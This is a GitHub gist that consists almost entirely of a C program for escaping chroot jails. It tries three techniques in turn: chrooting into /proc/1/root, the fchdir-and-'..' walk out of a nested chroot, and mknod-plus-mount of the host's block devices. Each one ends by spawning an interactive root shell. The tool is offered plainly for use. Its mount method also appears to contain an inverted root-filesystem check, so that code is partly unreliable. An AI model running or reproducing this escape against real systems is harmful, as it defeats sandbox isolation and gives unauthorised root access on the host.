Skip to content

Instantly share code, notes, and snippets.

@0xquad
Last active December 19, 2022 02:10
Show Gist options
  • Save 0xquad/7ea47ccf8e2c055748e7 to your computer and use it in GitHub Desktop.
Save 0xquad/7ea47ccf8e2c055748e7 to your computer and use it in GitHub Desktop.
chroot jail escape methods
/*
* Simple chroot jail escape
* Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com>
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
int shell()
{
int ret;
printf("Succeeded. Here's a shell.\n");
ret = execl("/bin/sh", "sh", "-i", NULL);
perror("execl");
return ret;
}
int chdir_escape()
{
int ret;
char tmpl[] = "esc.XXXXXXXXXXXXXXXX", *retp;
retp = mkdtemp(tmpl);
if (retp == NULL) {
perror("mkdtemp");
return 1;
}
int fd = open(".", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
ret = chroot(retp);
if (ret < 0) {
perror("chroot");
return 1;
}
ret = fchdir(fd);
if (ret < 0) {
perror("fchdir");
return 1;
}
close(fd);
rmdir(retp);
struct stat curr, parent;
while (stat(".", &curr) == 0 && stat("..", &parent) == 0 &&
curr.st_ino != parent.st_ino) {
ret = chdir("..");
if (ret < 0) {
perror("chdir");
return 1;
}
}
ret = chroot(".");
if (ret < 0) {
perror("chroot");
return 1;
}
ret = shell();
return ret;
}
int proc_escape()
{
struct stat st_init, st_root;
char *init_root;
int ret;
stat("/", &st_root);
ret = stat("/proc/1/root", &st_init);
if (ret == 0 && st_init.st_ino != st_root.st_ino) {
ret = chroot("/proc/1/root");
if (ret < 0) {
perror("chroot");
return ret;
}
ret = shell();
return ret;
}
/* fails since /proc/1/root == / or /proc is not mounted*/
return -1;
}
int mount_fs(dev_t dev, const char *fstype, const char *mnt)
{
int ret;
const char *syscall;
mkdir(mnt, 0755);
ret = mknod("/device", S_IFBLK | 0600, dev);
if (ret == 0) {
ret = mount("/device", mnt, fstype, MS_MGC_VAL | MS_NOATIME, NULL);
syscall = "mount";
}
else
syscall = "mknod";
if (ret < 0) {
perror(syscall);
unlink("/device");
}
return ret;
}
int isrootfs(const char *mnt)
{
char *dirs[] = { "proc", "dev", "home", "usr", "var" };
const int dir_count = sizeof(dirs) / sizeof(dirs[0]);
char path[100];
int i;
int err = 0;
for (i = 0; i < dir_count; i++) {
struct stat st;
strcpy(path, mnt);
strcat(path, "/");
strcat(path, dirs[i]);
err |= stat(path, &st);
}
return err;
}
int mount_escape()
{
dev_t devs[] = {makedev(8, 0), makedev(8, 1), makedev(8, 2)};
const int dev_count = sizeof(devs) / sizeof(devs[0]);
char *fs_types[] = { "ext4", "ext3", "ext2", "reiserfs", "xfs" };
const int fs_count = sizeof(fs_types) / sizeof(fs_types[0]);
int i, j, ret;
const char *mnt = "/mnt";
mkdir(mnt, 0755);
for (i = 0; i < dev_count; i++) {
for (j = 0; j < fs_count; j++) {
ret = mount_fs(devs[i], fs_types[j], mnt);
if (ret == 0) {
if (isrootfs(mnt)) {
printf("found a potential rootfs\n");
chroot(mnt);
chdir("/");
ret = shell();
}
umount(mnt);
}
}
}
umount(mnt);
unlink("/device");
rmdir(mnt);
return ret;
}
int main(int argc, char **argv)
{
int ret;
ret = setuid(0);
if (ret < 0) {
perror("setuid");
return 1;
}
int (*methods[])() = {proc_escape, chdir_escape, mount_escape, NULL},
(**funcp)();
for (funcp = methods; *funcp != NULL; funcp++) {
ret = (*funcp)();
}
return ret;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment